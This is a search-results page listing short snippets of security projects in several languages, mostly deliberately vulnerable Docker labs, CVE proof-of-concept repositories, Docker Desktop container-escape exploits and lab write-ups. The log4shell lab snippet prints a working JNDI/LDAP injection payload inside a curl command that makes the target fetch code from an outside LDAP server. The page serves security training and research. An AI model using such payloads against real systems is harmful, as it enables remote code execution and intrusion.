10795 matches found
cve-2019-5420
CVE-2019-5420 Esto es parte de Cved: una herramienta para gestionar contenedores Docker vulnerables. Cved: https://github.com/git-rep-src/cved Fuente de la imagen: https://github.com/cved-sources/cve-2019-5420 Autor de la imagen: https://github.com/knqyf263/CVE-2019-5420...
blackboxprotobuf
Blackbox Protobuf Blackbox Protobuf now has an official package on PyPi under the namebbpb. The blackboxprotobuf package is an older fork Description Blackbox Protobuf is a set of tools for working with encoded Protocol Buffers protobuf without the matching protobuf definition. Protobuf is a bina...
go-pillage-registries
go-pillage-registries 该项目会获取一个 Docker 注册表,并对其目录中每个镜像的 manifest 和 configuration 进行掠夺。 它使用 Google 的 crane 命令包,该包应遵循 Docker 的 keychain 语义。 如果你想覆盖此行为,只需按照 https://github.com/google/go-containerregistry/tree/master/pkg/authn/k8schain 中的描述更改 authn.DefaultKeychain 即可。 安装: root@kitploit: git clone...
cve-images
cve-images — 故意设计有漏洞的实验镜像 一个用于在隔离实验室中进行安全研究的故意设计有漏洞 的Docker镜像集合。最初是nginx CVE复现,现已扩展为更广泛的故意设计有漏洞的镜像集(例如DVWA)。 ⚠️ 安全性 这些镜像是 故意 存在漏洞的。其中一个nginx CVE(CVE-2026-42945)正在被野外利用。仅在隔离/本地网络上运行。切勿部署到公共主机,也切勿将它们当作生产镜像发布。每个镜像都带有 lab.vulnerable=true 标签及相应的说明。 nginx CVE 镜像 所有镜像均构建于一个共享基础镜像之上,该镜像从源代码编译 nginx 1.30.0...
VulApps
VulApps http://vulapps.evalbug.com/ 收集各种漏洞环境,为方便使用,统一采用 Dockerfile 形式。同时也收集了安全工具环境。 喜欢请点 Star,如果不打算贡献,千万别 Fork 本项目 GitHub 地址: https://github.com/Medicean/VulApps DockerHub 在线镜像地址 获取并使用相关镜像 直接使用 docker 命令拉取相关镜像,并启动。 需要查看相关环境的 tag 在Github具体的漏洞目录下查看 README 文件 以 Struts2 S2-037 漏洞环境为例: 通过 S2-037漏洞环境的...
CVE-2025-9074-docker-escape
CVE-2025-9074-Docker Escape HTB MonitorsFour 此代码仅用于教育目的和实验室环境(如 Hack The Box)。未经授权不得在系统上使用。 此仓库包含一个针对 Docker Remote API 暴露漏洞(无认证)的利用脚本,该漏洞允许通过创建特权容器实现容器逃逸到宿主机。 该漏洞是在解决 Hack The Box 平台上的 MonitorsFour 机器时被发现的。 攻击者可以: 创建任意容器 在宿主机上执行命令 挂载宿主机文件系统 / 完全提升权限 利用基于: 对 tcp/2375 上未认证的 Docker API 的访问...
log4shell_lab
log4shell 漏洞利用实验室 本仓库提供一行命令即可搭建 log4shell 漏洞利用实验室。 搭建实验室:docker-compose up -d 运行漏洞利用:curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 然后进入 vul 容器,你会看到我们确实已经控制了该机器: 解释实验室搭建的视频:https://www.youtube.com/watch?v=WBzR30JcT5g...
FORT-validator
FORT Validator Un Relying Party de RPKI y servidor RTR. Documentación Inicio Instalación Uso Argumentos Imagen de Docker Consulte el directorio docker/...
GoCD_PoC_Supply_Chain_Attack
GoCD 20.10.0 — PoC: CVE-2021-43287 · CVE-2021-43288 · CVE-2021-43289 · CVE-2021-43290 Autor / Author: Higor Farias — PRIDE Security ⚠️ AVISO LEGAL / LEGAL DISCLAIMER PT Material produzido exclusivamente para fins educacionais e de pesquisa em segurança ofensiva. Utilize somente em ambientes...
CVE-2025-9074-Docker-Desktop-Container-Escape
CVE-2025-9074:Docker Desktop 容器逃逸 PoC CVE-2025-9074 的概念验证利用程序——Docker Desktop 中的一个严重容器逃逸漏洞,允许未授权访问 Docker Engine API。 漏洞概述 属性| 值 ---|--- CVE ID| CVE-2025-9074 CVSS 评分| 9.3(严重) 受影响软件| Docker Desktop 4.44.3 受影响平台| Windows、macOS(Linux 不受影响) 修复版本| Docker Desktop 4.44.3+ 发现者| Felix Boulet、Philippe Dug...
HTTP-2-RapidReset-CVE-2023-44487-Testlab
这个仓库是我的 Docker 实验的源代码,是为我的论文研究而制作的。...
CVE-2017-5638-Attack-and-Defense
Apache Struts2 S2-045 防御与利用实验环境 基于 Docker 的安全实验环境,演示 Apache Struts2 S2-045 漏洞(CVE-2017-5638)的利用 与防御 。该实验环境包含: 1. 脆弱应用 :Struts 2.3.31(存在 S2-045 漏洞)用于利用演示 2. 防御实验环境 :Struts 6.3.x(已修补)配合 WAF 防护,用于防御训练 ⚠️ 安全警告 :本实验环境包含可工作的漏洞利用程序 和脆弱代码 。请仅在隔离环境中使用。切勿暴露到公共网络。 架构概览 root@kitploit:...
CVE-2025-34159
CVE-2025-34159:Coolify 中的 Docker Compose 注入漏洞 漏洞概述 字段| 值 ---|--- CVE 标识符| CVE-2025-34159 影响范围| Coolify ≤ v4.0.0-beta.420.6 修复版本| v4.0.0-beta.420.7 严重性| 严重 CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CWE| CWE-78(操作系统命令注入)、CWE-20(输入验证不恰当) 执行摘要 Coolify...
neko-master
Neko Master Ve el tráfico de tu red con claridad. Monitoreo en tiempo real · Auditoría de tráfico · Soporte multi-gateway English | 中文 !IMPORTANT Aviso legal Este proyecto es una herramienta de análisis y visualización de tráfico para entornos de gateway locales. No proporciona ningún servicio de...
cve-2025-57819-freepbx-range
CVE-2025-57819 FreePBX Cyber Range Cyber-range educativo aislado para CVE-2025-57819 CWE-89, CWE-288. Aplicación de entrenamiento compatible con FreePBX original — no es el FreePBX oficial de Sangoma. Inicio rápido root@kitploit: git clone...
poc-redis
Para ejecutar el exploit, extraiga el ZIP adjunto y siga estos pasos en Linux: 1. Configure un virtualenv/instale el cliente de Redis root@kitploit: $ python3 -m venv .venv $ source .venv/bin/activate $ pip install -r requirements.txt 2. En otra terminal, ejecute la imagen docker de Redis O...
WSGoat
WebSocket GOAT Una aplicación WebSocket deliberadamente vulnerable y dockerizada, diseñada para aprender y practicar pruebas de seguridad en WebSocket en un entorno controlado. El laboratorio implementa una aplicación web realista con autenticación, mensajería privada, perfiles de usuario y...
CVE-2025-9074
CVE-2025-9074 – Windows 与 macOS 上 Docker Desktop 的完整 Docker 逃逸 📌 描述 Docker Desktop 将内部 Docker 引擎 API http://192.168.65.7:2375 暴露给 任何 正在运行的容器——没有身份验证,也没有访问控制 。 由于引擎本身可以挂载宿主机文件系统,容器可以调用此 API 来创建一个绑定挂载宿主机驱动器的容器 ,然后利用该容器读写宿主机上的任意文件 ——实现完整的容器到宿主机逃逸。 📝 参考资料 CVE-2025-9074 记录 Docker Desktop 发布说明(已在 4.44....
CVE-2018-7600
LAB 9-CVE-2018-7600 I. 系统分析 识别攻击面 首先列出正在运行的容器: docker ps 从 docker ps 的结果中,该实验室的容器是: p1/lab09:latest 该容器暴露的端口是: 0.0.0.0:8011-80/tcp 这表明容器内的服务正在监听 80/tcp 端口,并映射到主机的 8011 端口。 80/tcp 端口是 HTTP 的标准端口。因此,这个目标实验室极有可能是一个 HTTP Web 应用程序。为了确认 Web 服务,我使用 curl 结合访问网页的 GUI 发送一个 HTTP 请求。 curl -i...
CVE-2017-11610
实验 3- CVE-2017-11610 一、系统分析 从 Docker 环境识别攻击面 从环境中正在运行的内容开始。我列出所有活动容器: docker ps-a root@kitploit: 受害者仅暴露了一个端口:9001。 端口 9001 并非标准的 Web 应用。查阅端口数据库可知,该端口可能与 Supervisord(根据 IANA 的命名,即 ETL 服务管理器)、Tor 代理或其他某些内部服务相关联。然而,我们不能仅凭端口号就得出结论。 ⇒ 我直接使用 curl 读取响应,并访问 Web GUI 以收集更多信息 curl -i...